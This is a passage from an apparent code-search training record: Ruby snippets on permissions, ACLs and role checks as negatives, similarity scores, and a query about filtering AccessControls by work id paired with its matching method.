"def setup_view_edit_permissions(lot)\n allowableActions = []\n # This is in display order (bottom up)\n # The names after blah_ are the section names used in\n # the HTML/AngularJS code, so keep that in mind if you\n # find yourself editing those.\n #\n # View (unhide) ability\n allowableActions << \"view_charges\"\n allowableActions << \"view_pick-up\"\n allowableActions << \"view_info\"\n allowableActions << \"view_seller\"\n allowableActions << \"view_wait-to-clear-pickup\"\n allowableActions << \"view_wait-for-driver-dispatch\"\n allowableActions << \"view_wait-for-trip-confirmation\"\n allowableActions << \"view_wait-for-inventory\"\n allowableActions << \"view_wait-for-title\"\n allowableActions << \"view_ready-for-auction-section\"\n allowableActions << \"view_wait-for-sale-confirmation\"\n allowableActions << \"view_wait-for-buyer-charge\"\n allowableActions << \"view_ready-for-seller-billing-section\"\n allowableActions << \"view_wait-for-settlement-confirmation\"\n allowableActions << \"view_service-orders\"\n \n # Edit ability\n if !lot.closed? || (lot.closed? && can?(:edit_closed_lots, lot))\n allowableActions << \"edit_charges\" if can? :edit_charges_section, lot\n allowableActions << \"edit_pick-up\" if can? :edit_location_section, lot\n allowableActions << \"edit_info\" if can? :edit_lot_info_section, lot\n allowableActions << \"edit_seller\" if can? :edit_seller_info_section, lot\n allowableActions << \"edit_wait-to-clear-pickup\" if can? :edit_hold_info_section, lot\n allowableActions << \"edit_wait-for-driver-dispatch\" if can? :edit_tow_provider_section, lot\n allowableActions << \"edit_wait-for-trip-confirmation\" if can? :edit_charges_reconciliation_section, lot\n allowableActions << \"edit_wait-for-inventory\" if can? :edit_inventory_section, lot\n allowableActions << \"edit_wait-for-title\" if can? :edit_ownership_transfer_section, lot\n allowableActions << \"edit_ready-for-auction-section\" if can? :edit_auction_section, lot\n allowableActions << \"edit_wait-for-sale-confirmation\" if can? :edit_sale_confirmation_section, lot\n allowableActions << \"edit_wait-for-buyer-charge\" if can? :edit_member_billing_section, lot\n allowableActions << \"edit_ready-for-seller-billing-section\" if can? :edit_seller_billing_section, lot\n allowableActions << \"edit_wait-for-settlement-confirmation\" if can? :edit_settlement_confirmation_section, lot\n allowableActions << \"edit_service-orders\" if can? :edit_service_order_section, lot\n end\n \n gon.allowableActions = allowableActions\n end",
"def do_acl_changes\n if access_controls.requires_changes?\n converge_by(access_controls.describe_changes) do\n access_controls.set_all\n end\n end\n end",
"def do_acl_changes\n if access_controls.requires_changes?\n converge_by(access_controls.describe_changes) do\n access_controls.set_all\n end\n end\n end",
"def discovery_permissions\n return ['edit'] if blacklight_params[:works] == 'mine'\n super\n end",
"def allowSecurityManagement()\n banner(\"Allow Security\")\n @run.society.each_enclave() do |enclave|\n securityAgents = getSecurityAgents(enclave)\n securityAgentsName = \"SecurityAgentsIn#{enclave}\"\n declareSet(securityAgentsName, securityAgents)\n permit(enclaveAgentsName(enclave), securityAgentsName,\n \"AllowSecurityManagement-#{enclave}-I\",\n [ enclave ])\n permit(securityAgentsName, enclaveAgentsName(enclave),\n \"AllowSecurityManagement-#{enclave}-II\",\n [ enclave ])\n end\n end",
"def build_permissions(perms, other)\n perms.permits! :read\n perms.permits! :write if self == other\n end",
"def remove_features(features, group_overrides=[], force=false, remove_all_features=false)\n installed_features = self.requires\n result_io = ResultIO.new\n\n # FIXME: remove_all_features argument is ignored here\n # For now, it is only used to check if we are removing a jenkins server application\n # If the jenkins server app is still being created, jenkins clients cannot exist.\n # But if this loop is modified to perform other checks/actions, we'll have to consider the remove_all_features flag\n features.each do |feature|\n cart = CartridgeCache.find_cartridge(feature, self)\n raise OpenShift::UserException.new(\"Invalid feature: #{feature}\", 109) unless cart\n Rails.logger.debug \"Removing feature #{feature}\"\n\n if !force\n raise OpenShift::UserException.new(\"'#{feature}' cannot be removed\", 137) if (cart.is_web_proxy? and self.scalable) or cart.is_web_framework?\n raise OpenShift::UserException.new(\"'#{feature}' is not a feature of '#{self.name}'\", 135) unless installed_features.include? feature\n end\n\n # FIXME: Instead of relying on individual cartridge categories to determine if any dependent features\n # need to be removed in other applications, we need to make it more generic by using the domain_scope category\n if cart.is_ci_server?\n self.domain.applications.each do |uapp|\n next if self.name == uapp.name\n uapp.requires.each do |feature_name|\n ucart = CartridgeCache.find_cartridge(feature_name, uapp)\n if ucart.is_ci_builder?\n Application.run_in_application_lock(uapp) do\n uapp.pending_op_groups.push PendingAppOpGroup.new(op_type: :remove_features, args: {\"features\" => [feature_name], \"group_overrides\" => uapp.group_overrides}, user_agent: uapp.user_agent)\n client_result_io = ResultIO.new\n uapp.run_jobs(client_result_io)\n if client_result_io.exitcode == 0\n client_result_io.resultIO.string = \"Removed corresponding client: #{feature_name}\"\n end\n result_io.append(client_result_io)\n result_io\n end\n end\n end\n end\n end\n end\n Application.run_in_application_lock(self) do\n self.pending_op_groups.push PendingAppOpGroup.new(op_type: :remove_features, args: {\"features\" => features, \"group_overrides\" => group_overrides, \"remove_all_features\" => remove_all_features}, user_agent: self.user_agent)\n self.run_jobs(result_io)\n end\n\n # removing this feature may have caused pending_ops to be created on the domain\n # for removing env vars and ssh keys\n # execute run_jobs on the domain to take care of those\n domain.reload\n domain.run_jobs\n result_io\n end",
"def custom_permissions\n # Limits deleting objects to a the admin user\n #\n # if current_user.admin?\n # can [:destroy], ActiveFedora::Base\n # end\n\n # Limits creating new objects to a specific group\n #\n # if user_groups.include? 'special_group'\n # can [:create], ActiveFedora::Base\n # end\n\n if current_user.admin?\n can [:create, :show, :add_user, :remove_user, :index, :edit, :update, :destroy], Role\n end\n\n# if current_user.contentadmin?\n# can [:create, :destroy], GwWork\n# can [:create, :destroy], GwEtd\n# end\n end",
"def restore_admin5\n if File.exist?('/Library/Receipts/com.company.removedadmins') then\n users=read_admins\n users.each do |u|\n puts \"Restoring admin rights for #{u}\" \n %x(/usr/sbin/dseditgroup -o edit -a #{u} -t user admin)\n end\n else\n users=get_users\n users.each do |u|\n puts \"Restoring admin rights for #{u}\"\n %x(/usr/sbin/dseditgroup -o edit -a #{u} -t user admin)\n end\n end\nend",
"def custom_permissions\n # Limits deleting objects to a the admin user\n #\n # if current_user.admin?\n # can [:destroy], ActiveFedora::Base\n # end\n\n # Limits creating new objects to a specific group\n #\n # if user_groups.include? 'special_group'\n # can [:create], ActiveFedora::Base\n # end\n end",
"def set_protected_access(*perms)\n perms.each do |perm_symbol|\n perm = find_permission_object(perm_symbol)\n if perm\n perm.set_as_protected_access \n else\n msg = \"Permission not found: #{perm_symbol}\"\n raise Lockdown::InvalidRuleAssignment, msg\n end\n end\n end",
"def custom_permissions # rubocop:disable Metrics/CyclomaticComplexity\n can :read, ApplicationPresenter, &:can_read?\n can :read, UsersPresenter, &:can_read?\n can :read, UserPresenter, &:can_read?\n can :read, RolesPresenter, &:can_read?\n can :read, RolePresenter, &:can_read?\n\n can :read, Press\n\n grant_press_analyst_abiltites if press_analyst?\n grant_press_editor_abilities if press_editor?\n grant_press_admin_abilities if platform_admin? || press_admin?\n grant_platform_admin_abilities if platform_admin?\n end"
] |
[
"0.54069215",
"0.5394768",
"0.5394768",
"0.5243208",
"0.51110125",
"0.51008105",
"0.50688976",
"0.50420976",
"0.4997379",
"0.49165583",
"0.4913748",
"0.4897455",
"0.4861618",
"0.4841139",
"0.48138663",
"0.48138663",
"0.48012033",
"0.47829705",
"0.47727913",
"0.47565815",
"0.47554117",
"0.4752109",
"0.47481197",
"0.4727841",
"0.47270867",
"0.47267422",
"0.46895579",
"0.46840292",
"0.46838108",
"0.4666495",
"0.4664032",
"0.4656385",
"0.4656385",
"0.46537918",
"0.4653301",
"0.46491233",
"0.46463105",
"0.46236914",
"0.46157712",
"0.46029356",
"0.45881453",
"0.4571612",
"0.4557621",
"0.4555169",
"0.4534603",
"0.45329788",
"0.45210618",
"0.45209095",
"0.4520747",
"0.4519376",
"0.45156327",
"0.45156327",
"0.45156327",
"0.45136052",
"0.4511519",
"0.4504635",
"0.44964036",
"0.44949526",
"0.44907764",
"0.44835314",
"0.44783935",
"0.44695494",
"0.44672",
"0.4462668",
"0.4459029",
"0.44559553",
"0.44521385",
"0.44474375",
"0.4439115",
"0.44380045",
"0.44270456",
"0.4426501",
"0.44255754",
"0.44009474",
"0.4389049",
"0.43789443",
"0.43748453",
"0.43673238",
"0.43631938",
"0.43531",
"0.43472087",
"0.43443233",
"0.4331382",
"0.43303472",
"0.43274802",
"0.43233642",
"0.43232006",
"0.4312395",
"0.43080154",
"0.43045345",
"0.43045345",
"0.43024153",
"0.42989153",
"0.4297275",
"0.42950985",
"0.4294743",
"0.4293877",
"0.428204",
"0.4276335",
"0.42749014"
] |
0.6743784
|
0
|
Sift through all AccessControls and fine the ones that specify access to the given work id.
|
def access_controls_for(object)
all_acls.select{ |ac| ac.access_to_id == object.id }
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_access_control\n @access_control = AccessControl.find(params[:id])\n end",
"def check_access_control_account_all\n @account = Account.find(params[:account_id])\n\n response_access_denied unless current_user.has_role?(:admin) || current_user.id == @account.user_id\n rescue\n response_access_denied\n end",
"def check_access_control_all\n @user = User.find(params[:user_id])\n\n response_access_denied unless current_user.has_role?(:admin) || current_user.id == @user.id\n rescue\n response_access_denied\n end",
"def check_access_control\n @bot = Bot.find(params[:id])\n\n response_access_denied unless current_user.has_role?(:admin) || current_user.id == @bot.account.user_id\n rescue\n response_access_denied\n end",
"def set_work\n @work = Work.find(params[:id])\n \tauthorize @work\n end",
"def index\n @access_controls = AccessControl.all\n end",
"def user_access_control_account_all\n @account = Account.find(params[:account_id])\n user = @account.user\n\n unless !user.admin? && current_user.admin? || current_user?(user)\n response_access_denied\n end\n\n rescue\n response_access_denied\n end",
"def set_access_rights\n @access_rights = current_v1_user.rights.find_by(campground_id: params[:campground_id])\n end",
"def set_access_rights\n @access_rights = current_v1_user.rights.find_by(campground_id: params[:campground_id])\n end",
"def set_access_rights\n @access_rights = current_v1_user.rights.find_by(campground_id: params[:campground_id])\n end",
"def set_access_rights\n @access_rights = current_v1_user.rights.find_by(campground_id: params[:campground_id])\n end",
"def set_access_rights\n @access_rights = current_v1_user.rights.find_by(campground_id: params[:campground_id])\n end",
"def user_access_control_all\n @user = User.find(params[:user_id])\n\n unless !@user.admin? && current_user.admin? || current_user?(@user)\n response_access_denied\n end\n\n rescue\n response_access_denied\n end",
"def set_access_rights\n # @access_rights = current_v1_user.rights.where(campground_id: params[:campground_id])\n @access_rights = User.find(1).rights.find_by(campground_id: params[:campground_id])\n end",
"def set_valid_access\n @wish_list = WishList.find_by_id(params[:wish_list_id])\n # @valid_access = ValidAccess.find(params[:id])\n @valid_access = @wish_list.valid_acesses.find_by_id(params[:id])\n end",
"def workflow_ids\n AccessControlEntry.where(:aceable_type => 'Workflow', :permission => 'approve', :group_uuid => assigned_group_refs).pluck(:aceable_id)\n end",
"def update_access_controls!\n update!(edit_users: permission_template.agent_ids_for(access: 'manage', agent_type: 'user'),\n edit_groups: permission_template.agent_ids_for(access: 'manage', agent_type: 'group'))\n end",
"def allowed_acl(sid, expected_perms, flags = 0)\n acl = [ ACE.access_allowed(sid, expected_perms[:specific], flags) ]\n if expected_perms[:generic]\n acl << ACE.access_allowed(sid, expected_perms[:generic], (Chef::ReservedNames::Win32::API::Security::SUBFOLDERS_AND_FILES_ONLY))\n end\n acl\n end",
"def user_access_control\n bot = Bot.find(params[:id])\n\n if current_user.admin?\n @bot = User.find(bot.account.user_id).admin? ? current_user.bots.find(params[:id]) : bot\n else\n @bot = current_user.bots.find(params[:id])\n end\n\n rescue\n response_access_denied\n end",
"def set_access\n @access = @current_event.accesses.find(params[:id])\n authorize @access\n end",
"def current_access_control\n @access_control\n end",
"def set_access_levels\n user_access_controls.each(&:disable!) if persisted? && disabled\n end",
"def set_access\n @access = Access.find(params[:id])\n end",
"def set_access\n @access = Access.find(params[:id])\n end",
"def set_access\n @access = Access.find(params[:id])\n end",
"def set_access\n @access = Access.find(params[:id])\n end",
"def set_access\n @access = Access.find(params[:id])\n end",
"def set_access\n @access = Access.find(params[:id])\n end",
"def set_access\n @access = Access.find(params[:id])\n end",
"def object_unauthorized_collection_ids\n @object_unauthorized_collection_ids ||= begin\n limited_access = []\n unauthorized_collection_ids = object_member_of - object_managed_collection_ids\n if unauthorized_collection_ids.any?\n unauthorized_collection_ids.each do |id|\n # TODO: Can we instead use a SOLR query? This seems to be somewhat expensive. However, as this is\n # used in administration instead of user front-end displays, I'm not as concerned.\n collection = ActiveFedora::Base.find(id)\n limited_access << id if (collection.instance_of? AdminSet) || collection.share_applies_to_new_works?\n end\n end\n limited_access\n end\n end",
"def adjust_restricted\n\t\tunless self.restricted == !self.works.collect(&:restricted).include?(false)\n\t\t self.toggle!(:restricted)\n\t\tend\n\tend",
"def filter_access!\n treat_as get_current_role\n end",
"def AccessRights=(arg0)",
"def enforce_edit_permissions(opts={})\n logger.debug(\"Enforcing edit permissions\")\n load_permissions_from_solr\n if !can? :edit, params[:id]\n session[:viewing_context] = \"browse\"\n raise Hydra::AccessDenied.new(\"You do not have sufficient privileges to edit this document. You have been redirected to the read-only view.\", :edit, params[:id])\n else\n session[:viewing_context] = \"edit\"\n end\n end",
"def check_work_user\n owner = Work.friendly.find(params[:id]).user\n unless owner == current_user || current_user.is_admin?\n store_location\n flash[:error] = 'You are not authorized to perform this action.'\n redirect_to login_path\n end\n end",
"def enforce_show_permissions(_opts = {})\n permissions = current_ability.permissions_doc(solr_id)\n if (permissions['read_access_group_ssim'].present? && permissions['read_access_group_ssim'].include?('registered')) || can?(:discover, permissions)\n permissions\n else\n raise Blacklight::AccessControls::AccessDenied.new('You do not have sufficient access privileges to view this document, which has been marked private.', :discover, params[:id])\n end\n end",
"def do_acl_changes\n if access_controls.requires_changes?\n converge_by(access_controls.describe_changes) do\n access_controls.set_all\n end\n end\n end",
"def do_acl_changes\n if access_controls.requires_changes?\n converge_by(access_controls.describe_changes) do\n access_controls.set_all\n end\n end\n end",
"def correct_initiative_only\n unless current_user.admin?\n if current_user.service_user? || current_user.initiatives.exclude?(Initiative.find(params[:id]))\n flash[:danger] = 'You are not allowed to access that page.'\n redirect_to current_user\n end\n end\n end",
"def get(id)\n\t\t\tkparams = {}\n\t\t\tclient.add_param(kparams, 'id', id);\n\t\t\tclient.queue_service_action_call('accesscontrol', 'get', kparams);\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil;\n\t\t\tend\n\t\t\treturn client.do_queue();\n\t\tend",
"def set_workpermit\n @workpermit = Workpermit.find(params[:id])\n end",
"def discovery_permissions\n return ['edit'] if blacklight_params[:works] == 'mine'\n super\n end",
"def correct_initiative_only\n unless current_user.admin?\n if current_user.service_user? || current_user.initiatives.exclude?(Initiative.find(params[:initiative_id]))\n flash[:danger] = 'You are not allowed to access that page.'\n redirect_to current_user\n end\n end\n end",
"def check_access\n permission_denied unless can_census?(year)\n end",
"def controls\n\t\treturn [] unless is_case?\n\t\tStudySubject.controls.with_patid(patid).not_id(id)\n\tend",
"def show\n authorize @work_category\n end",
"def index\n @workpermits = Workpermit.all\n end",
"def workflow_ids\n approval_access = RBAC::Access.new('workflows', 'approve').process\n approval_access.send(:generate_ids)\n\n Rails.logger.info(\"Accessible workflows: #{approval_access.id_list}\")\n\n approval_access.id_list\n end",
"def user_access_by_embed\n strong_memoize(:user_access_by_embed) do\n unique_embeds.each_with_object({}) do |embed, access|\n project = projects_by_path[embed.project_path]\n\n access[embed] = Ability.allowed?(user, embed.permission, project)\n end\n end\n end",
"def filter_access(enumerable)\n return enumerable unless LinkedData.settings.enable_security\n return enumerable unless enumerable.first.is_a?(LinkedData::Models::Base)\n enumerable = enumerable.dup if enumerable.frozen?\n LinkedData::Security::AccessControl.filter_unreadable(enumerable, env[\"REMOTE_USER\"])\n enumerable\n end",
"def show\n authorize @work_type\n end",
"def set_work\n @work = Work.find_by(id: params[:id])\n rescue Exception => e\n render_default_error e, 401\n end",
"def user_access\n @account = current_user.admin? ? Account.find(params[:id]) : current_user.accounts.find(params[:id])\n\n check_user_access(@account.user_id)\n\n rescue\n flash_access_denied\n end",
"def index\n works = Work.where(doctor_id: current_user.doctor.id)\n @workhours = Workhour.where(work_id: works.pluck(:id))\n end",
"def sis_only\n @works = Work.sis_only\n render :index\n end",
"def group_access(group_id, access)\n group_id = ensure_group_id_parameter(group_id)\n access = ensure_group_access_list_parameter(access)\n\n # check direct access\n instances = joins(group_through.name)\n .where( group_through.table_name => { group_id: group_id, access: access }, active: true )\n\n if method_defined?(:permissions?)\n permissions = Permission.with_parents('ticket.agent')\n instances = instances\n .joins(roles: :permissions)\n .where(roles: { active: true }, permissions: { name: permissions, active: true })\n end\n\n # check indirect access through roles if possible\n return instances if !respond_to?(:role_access)\n\n # combines and removes duplicates\n # and returns them in one statement\n instances | role_access(group_id, access)\n end",
"def assert_rbac(klass, ids)\n num_visible = Rbac.filtered(klass.where(:id => ids), :user => current_user).count\n raise _(\"Unauthorized object or action\") unless ids.length == num_visible\n end",
"def set_admin_work\n @admin_work = Work.unscoped.find(params[:id])\n end",
"def set_issue_tracker_access\n @issue_tracker_access = IssueTrackerAccess.find(params[:id])\n end",
"def migrate_permissions_for(object)\n # Find any access controls for this work. The must be sufia6F style in order to not show up on the Work.\n legacy_access_controls = access_controls_for object\n puts \"#{legacy_access_controls.count} AccessControls for #{object.class}: #{object.id}\"\n puts \"#{object.permissions}\"\n\n # Create equivalent access controls\n self.class.make_equivalent_permissions( object, legacy_access_controls )\n puts \"Created equivalent permissions.\"\n puts \"#{object.permissions}\"\n\n # Destroy legacy_access_controls\n if object.save\n puts \"Able to save #{object.class} with new permissions. Destroying old access controls.\"\n legacy_access_controls.each{ |ac| ac.destroy }\n else\n puts \"Unable to save #{object.class}.\"\n end\n end",
"def policies_with_access\n #### TODO -- Memoize this and put it in the session?\n user_access_filters = []\n user_access_filters += apply_policy_group_permissions(discovery_permissions)\n user_access_filters += apply_policy_user_permissions(discovery_permissions)\n where = user_access_filters.join(' OR ')\n result = policy_class.search_with_conditions(where,\n fl: 'id',\n rows: policy_class.count)\n logger.debug \"get policies: #{result}\\n\\n\"\n result.map { |h| h['id'] }\n end",
"def index\n @wish_list = WishList.find_by_id(params[:wish_list_id])\n # @valid_accesses = ValidAccess.all\n @valid_accesses = @wish_list.valid_accesses\n end",
"def user_access\n @bot = current_user.admin? ? Bot.find(params[:id]) : current_user.bots.find(params[:id])\n\n check_user_access(@bot.account.user_id)\n\n rescue\n flash_access_denied\n end",
"def selectable_access_types\n [['Unrestricted Access', 'open'], ['Controlled Access', 'restricted'], ['Other', 'closed']]\n end",
"def restrict_access\n\t\tauthenticate_or_request_with_http_token do |token, options|\n\t\t\tapi_token = ApiToken.find_by_access_token(token)\n\t\t\tparam_account = self.get_account\n\t\t\t# Does the api token exist and if so,\n\t\t\t# does it have the same id as the requester supplied?\n\t\t\tapi_token && api_token.account_id == param_account.id\n\t\tend\n\tend",
"def index\n @accessors = Accessor.where(\"access_owner = ?\" , current_user.id)\n @accessors_by_others = Accessor.where(\"accessor_id = ?\" , current_user.id)\n\n end",
"def valkyrie_perform(work)\n work_acl = Hyrax::AccessControlList.new(resource: work)\n\n file_sets_for(work).each do |file_set|\n Hyrax::AccessControlList\n .copy_permissions(source: work_acl, target: file_set)\n end\n end",
"def read_authorized_class_list(workspace_id)\n authorized_class_list(workspace_id).tap do |class_list|\n class_list.readonly! unless class_list.nil?\n end\n end",
"def set_details_access\n @details_access = DetailsAccess.find(params[:id])\n end",
"def show\n @task = Task.find(params[:id])\n restrict_access(\"tasks\") if @task.firm_id != @firm.id \n end",
"def has_access?(id)\n unless current_is?(id)\n flash[:alert]=\"Sorry you don't have accesss to that.\"\n return false\n end\n true\n end",
"def manage_assignments(assessor,certification_id = nil)\n if certification_id.nil?\n joins([:student_assignments,:owned]).where(:issued=>false,:owned=>{:id=>assessor.students},:student_assignments=>{:assigner_id=>assessor})#.group('owned_id')\n else\n joins([:student_assignments,:owned]).by_certification(certification_id).\n where(:issued=>false,:owned=>{:id=>assessor.students},:student_assignments=>{:assigner_id=>assessor})#.group('owned_id')\n end\n end",
"def check_if_map_is_editable\n if user_signed_in? and (current_user.own_this_map?(params[:id]) or current_user.has_role?(\"editor\"))\n @map = Map.find(params[:id])\n elsif Map.find(params[:id]).owner.nil?\n @map = Map.find(params[:id])\n else\n flash[:notice] = t('maps.edit.cannot_edit_others')\n redirect_to map_path\n end\n end",
"def access_control\n \n end",
"def check_access\n return true if params[:controller] =~ /newrelic|login|heartbeat|awstats/\n\n #if params[:controller] =~ \"api_login\"\n # logger.info \"APILOGIN: #{params.inspect}\"\n #end\n # check controller\n if !params[:id].blank? && params[:controller] =~ /score|faq/\n if current_user && (current_user.access?(:all_users) || current_user.login_user?)\n if session[:journal_entry]\n logger.info \"REQUEST #{params[:controller]}/#{params[:action]} #{'/' + (params[:id] || \"\")} cookie: '#{session[:journal_entry]}' user: '#{current_user.id}' @ #{9.hours.from_now.to_s(:short)}\"\n end\n # cookies_required # redirects if cookies are disabled\n if params[:action] =~ /edit|update|delete|destroy|show|show.*|add|remove/\n # RAILS_DEFAULT_LOGGER.debug \"Checking access for user #{current_user.login}:\\n#{params[:controller]} id: #{params[:id]}\\n\\n\"\n id = params[:id].to_i\n return check_controller_access(params[:controller], params[:answers]) # access\n # end\n else\n puts \"ACCESS FAILED: #{params.inspect}\"\n params.clear\n redirect_to login_path\n end\n end\n return true\n end\n\n def check_controller_access(controller, answers)\n case controller\n when /faq/\n access = current_user.access?(:superadmin) || current_user.access?(:admin)\n when /score_reports|answer_reports/ # TODO: test this one!!!\n access = if answers\n answers.keys.all? { |entry| current_user.has_journal? entry }\n else\n current_user.has_journal? id\n end\n when /scores/\n access = current_user.access? :superadmin\n when /group|role/\n access = current_user.access? :superadmin\n else\n puts \"APP CHECKACCESS #{params.inspect}\"\n access = current_user.access? :superadmin\n end\n return access\n end\n end",
"def update(id, access_control)\n\t\t\tkparams = {}\n\t\t\tclient.add_param(kparams, 'id', id);\n\t\t\tclient.add_param(kparams, 'accessControl', access_control);\n\t\t\tclient.queue_service_action_call('accesscontrol', 'update', kparams);\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil;\n\t\t\tend\n\t\t\treturn client.do_queue();\n\t\tend",
"def calc_access\n perf_acc = performances.collect{|p| p.access_determination }\n # FIXME: for some inexplicable reason this hangs indefinitely\n # track_acc = tracks.collect{|t| t.access_determination }\n tracks = performances.collect{|p| p.tracks}.flatten\n track_acc = tracks.collect{|t| t.access_determination}.flatten\n work_acc = tracks.collect{|t| t.works }.flatten.uniq.collect{|w| w.access_determination }\n all = (perf_acc + track_acc + work_acc).uniq\n if all.include? AccessDeterminationHelper::RESTRICTED_ACCESS\n AccessDeterminationHelper::RESTRICTED_ACCESS\n elsif all.include? AccessDeterminationHelper::IU_ACCESS\n AccessDeterminationHelper::IU_ACCESS\n elsif all.include? AccessDeterminationHelper::DEFAULT_ACCESS\n AccessDeterminationHelper::DEFAULT_ACCESS\n elsif all.include? AccessDeterminationHelper::WORLD_WIDE_ACCESS\n AccessDeterminationHelper::WORLD_WIDE_ACCESS\n else\n AccessDeterminationHelper::DEFAULT_ACCESS\n end\n end",
"def self_edit_only\n #if current_user.id != Integer(params[:id]) && !current_user.is_admin\n if !can_edit\n redirect_to user_url, :notice => \"You don't have permission to do that.\"\n else\n end\n end",
"def add_access_allowed_ace(sid, mask=0)\n unless AddAccessAllowedAce(@acl, @revision, mask, sid)\n raise Error, get_last_error\n end\n end",
"def protect_main_roles\n return unless (1..3).cover?(id)\n errors.add(:base, :role_is_built_in)\n throw :abort\n end",
"def set_our_work\n @work = OutWork.find_by(id: params[:id])\n rescue Exception => e\n render_default_error e, 401\n end",
"def do_nested\n @record = find_if_allowed(params[:id], :read)\n end",
"def role_access_ids(group_id, access)\n role_access(group_id, access).collect(&:id)\n end",
"def handle_project_administrator_ids\n handle_admin_role_ids Seek::Roles::PROJECT_ADMINISTRATOR\n end",
"def handle_project_administrator_ids\n handle_admin_role_ids Seek::Roles::PROJECT_ADMINISTRATOR\n end",
"def has_access(atts)\n atts[:controller] = atts[:controller] ? atts[:controller] : params[:controller]\n atts[:action] = atts[:action] ? atts[:action] : params[:action]\n atts[:user] = atts[:user] && atts[:user].is_a?(User) ? atts[:user] : current_user\n atts[:entity_id] = params[:id] ? params[:id] : nil\n\n logger.debug \"atts[:controller]: \" + atts[:controller]\n logger.debug \"atts[:action]: \" + atts[:action]\n logger.debug \"atts[:user]: \" + (atts[:user] ? atts[:user].username : \"\")\n logger.debug \"atts[:entity_id]: \" + (atts[:entity_id] ? atts[:entity_id].to_s : \"\")\n\n case atts[:controller]\n when \"comments\"\n @res = comments_filter(atts[:action], {\n :user => atts[:user],\n :comment_id => atts[:entity_id]\n })\n when \"users\"\n @res = users_filter(atts[:action], {\n :user => atts[:user],\n :entity_id => atts[:entity_id]\n })\n when \"players\"\n @res = players_filter(atts[:action], {\n :user => atts[:user],\n :player_id => atts[:entity_id]\n })\n when \"leagues\"\n @res = leagues_filter(atts[:action], {\n :user => atts[:user],\n :league_id => atts[:entity_id]\n })\n when \"teams\"\n @res = teams_filter(atts[:action], {\n :user => atts[:user],\n :team_id => atts[:entity_id]\n })\n when \"games\"\n @res = games_filter(atts[:action], {\n :user => atts[:user],\n :game_id => atts[:entity_id]\n })\n when \"halls\"\n @res = halls_filter(atts[:action], {\n :user => atts[:user],\n :hall_id => atts[:entity_id]\n })\n when \"images\"\n @res = images_filter(atts[:action], {\n :user => atts[:user],\n :image_id => atts[:entity_id]\n })\n when \"plugins\"\n @res = plugins_filter(atts[:action], {\n :user => atts[:user],\n })\n when \"wikis\"\n @res = wikis_filter(atts[:action], {\n :user => atts[:user],\n })\n when \"events\"\n @res = events_filter(atts[:action], {\n :user => atts[:user],\n })\n else\n @res = true\n end\n\n # kdyz nemam prava, nemam pristup\n if !@res\n access_denied\n end\n end",
"def set_allowed\n @allowed = Allowed.find(params[:id])\n end",
"def admin_edit\n @guidance_groups = GuidanceGroup.where(org_id: current_user.org.id)\n @guidance_group = GuidanceGroup.find(params[:id])\n authorize @guidance_group\n end",
"def set_project_control\n @project_control = ProjectControl.find(params[:id]) if current_user.has_role?(:vendor, ProjectControl.find(params[:id])) || current_user.has_role?(:sponsor, ProjectControl.find(params[:id])) ||\n current_user.has_role?(:admin, ProjectControl.find(params[:id]))\n end",
"def check_read_access(ven, plan_id = nil)\r\n usr = current_user\r\n check_read_access_helper(ven, plan_id, usr)\r\n end",
"def set_work_order\n @work_order = WorkOrder.find(params[:id])\n authorize @work_order\n end",
"def edit\n id = params[ :id ]\n\n if ( @current_user.restricted? and @current_user.id != id.to_i )\n return appctrl_not_permitted()\n end\n\n @user = User.find( id )\n @control_panel = @user.control_panel\n end",
"def get_ace_rights_from_mask(ace)\n # TODO: v2 check that this is a file type and respond appropriately\n rights = []\n return rights if ace.nil?\n\n mask_specific_remainder = ace.mask\n\n # full\n if (ace.mask & GENERIC_ALL) == GENERIC_ALL ||\n (ace.mask & FILE_ALL_ACCESS) == FILE_ALL_ACCESS\n rights << :full\n mask_specific_remainder = 0\n end\n\n if rights == []\n if (ace.mask & FILE_GENERIC_WRITE) == FILE_GENERIC_WRITE\n rights << :write\n mask_specific_remainder &= ~FILE_GENERIC_WRITE\n end\n if (ace.mask & GENERIC_WRITE) == GENERIC_WRITE\n rights << :write\n mask_specific_remainder &= ~GENERIC_WRITE\n end\n\n if (ace.mask & FILE_GENERIC_READ) == FILE_GENERIC_READ\n rights << :read\n mask_specific_remainder &= ~FILE_GENERIC_READ\n end\n if (ace.mask & GENERIC_READ) == GENERIC_READ\n rights << :read\n mask_specific_remainder &= ~GENERIC_READ\n end\n\n if (ace.mask & FILE_GENERIC_EXECUTE) == FILE_GENERIC_EXECUTE\n rights << :execute\n mask_specific_remainder &= ~FILE_GENERIC_EXECUTE\n end\n if (ace.mask & GENERIC_EXECUTE) == GENERIC_EXECUTE\n rights << :execute\n mask_specific_remainder &= ~GENERIC_EXECUTE\n end\n end\n\n # modify\n # if the rights appending changes above, we'll\n # need to ensure this check is still good\n if rights == [:write, :read, :execute] &&\n (ace.mask & DELETE) == DELETE\n rights = [:modify]\n mask_specific_remainder &= ~DELETE\n end\n\n # rights are too specific, use mask\n if rights == []\n rights << :mask_specific\n elsif mask_specific_remainder != 0\n Puppet.debug(\"Remainder from #{ace.mask} is #{mask_specific_remainder}\")\n rights = [:mask_specific]\n end\n\n rights\n end",
"def set_work_order\n @work_order = WorkOrder.find(params[:work_order_id])\n authorize @work_order, :show?\n end",
"def create_access_control\n nil\n end",
"def check_access_to_employer_profile\n employer_profile = EmployerProfile.find(params[:id])\n policy = ::AccessPolicies::EmployerProfile.new(current_user)\n policy.authorize_edit(employer_profile, self)\n end",
"def acl_select\n select_opts = []\n self.full_acl.each do |userId|\n select_opts << [User.get(userId).username, userId]\n end\n select_opts\n end",
"def valkyrie_perform(work)\n work_acl = Hyrax::AccessControlList.new(resource: work)\n\n PersistHelper.file_sets_for(work).each do |file_set|\n Hyrax::AccessControlList\n .copy_permissions(source: work_acl, target: file_set)\n end\n end",
"def set_restrictions_to_child_pages\n self.descendants.map do |c|\n c.update_attributes(:restricted => self.restricted?)\n end\n end",
